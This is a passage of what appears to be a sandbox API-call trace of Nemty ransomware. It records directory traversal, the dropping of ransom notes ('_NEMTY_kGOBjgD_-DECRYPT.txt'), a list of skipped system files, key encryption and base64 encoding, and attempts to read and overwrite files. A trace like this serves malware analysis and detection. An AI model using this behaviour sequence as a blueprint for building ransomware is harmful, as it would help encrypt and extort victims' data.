Size=0xa6) returned 0x634dc60 [0099.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.877] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows journal\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0099.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.878] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.878] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0099.879] CloseHandle (hObject=0x3c0) returned 1 [0099.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0099.879] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0099.879] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xef2c6770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xef2c6770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0099.879] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.879] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xef2c6770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xef2c6770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0099.879] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.879] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.879] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0099.879] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0099.879] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0099.879] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0099.879] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0099.879] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0099.879] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0099.879] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0099.880] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0099.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0099.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0099.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0099.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0099.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0099.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0099.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0099.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f940e0 [0099.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0099.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940e0 | out: hHeap=0x4f90000) returned 1 [0099.880] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows journal\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0099.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.883] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.883] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0099.884] CloseHandle (hObject=0x3c4) returned 1 [0099.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0099.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0099.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f940e0 [0099.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94138 [0099.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94190 [0099.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0099.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94190 | out: hHeap=0x4f90000) returned 1 [0099.884] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows journal\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0099.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.885] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.885] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0099.886] CloseHandle (hObject=0x3c4) returned 1 [0099.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94138 | out: hHeap=0x4f90000) returned 1 [0099.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94138 [0099.886] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xef2c6770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xef2c6770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0099.886] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.886] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xef2c6770, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xef2c6770, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0099.886] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.886] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.886] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0099.886] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2=".") returned 1 [0099.886] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="..") returned 1 [0099.886] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="...") returned 1 [0099.886] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="windows") returned -1 [0099.886] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0099.886] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="rsa") returned -1 [0099.886] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="NTDETECT.COM") returned -1 [0099.886] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="ntldr") returned -1 [0099.886] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="MSDOS.SYS") returned -1 [0099.887] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="IO.SYS") returned 1 [0099.887] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="boot.ini") returned 1 [0099.887] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="boot.ini") returned 1 [0099.887] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0099.887] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="ntuser.dat") returned -1 [0099.887] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="desktop.ini") returned 1 [0099.887] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="CONFIG.SYS") returned 1 [0099.887] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="RECYCLER") returned -1 [0099.887] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0099.887] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="bootmgr") returned 1 [0099.887] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="programdata") returned -1 [0099.887] lstrcmpiW (lpString1="JNTFiltr.dll.mui", lpString2="appdata") returned 1 [0099.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNTFiltr.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0099.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0099.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNTFiltr.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0099.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0099.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNTFiltr.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0099.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0099.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JNTFiltr.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JNTFiltr.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0099.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941a0 [0099.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94138 | out: hHeap=0x4f90000) returned 1 [0099.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94218 [0099.888] Sleep (dwMilliseconds=0x5) [0099.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef312a30, dwHighDateTime=0x1d561e7)) [0099.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef312a30, dwHighDateTime=0x1d561e7)) [0099.900] GetLastError () returned 0xb7 [0099.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.900] GetLastError () returned 0xb7 [0099.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0099.900] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0099.900] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0099.901] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0099.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94290 [0099.901] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94290, pcchString=0x653ef9c | out: pszString="fmhtwpW1MynjsuPNgkEf3BW50RPq0bfJMPS50wdfz5mmz6mqau6MdwC/XzJVxpwD\r\nb/6/v+kcKVJe+UXRvc3jH1IoXQ8FE4YAgJF+wo16FpFJqLPWH17kyaYSsRMMwamd\r\nLNFOnKvs9IZJz1AUyfNdvQQ4qUMTZmk2lHx3yLczGUrooGRxr6xb4tEqnY1jWfGf\r\nJ3F9tF9uy1BUtqWI/j7FYyT2d0dnswTo0GNPMXVdp1x45CLNw4dY5vke4jVAiR6o\r\nZJbUxGwk2UBTs23P1vs8H89VSEmXRNLxNPO6g4bd+ZZvHzKySnMx1Yzv3uh4zjO7\r\nT96xkQjQLuruaHhojkZexw==\r\n", pcchString=0x653ef9c) returned 1 [0099.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0099.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94290 | out: hHeap=0x4f90000) returned 1 [0099.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0099.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0099.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94290 [0099.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0099.901] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jntfiltr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.902] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0099.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0099.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.902] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.939] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 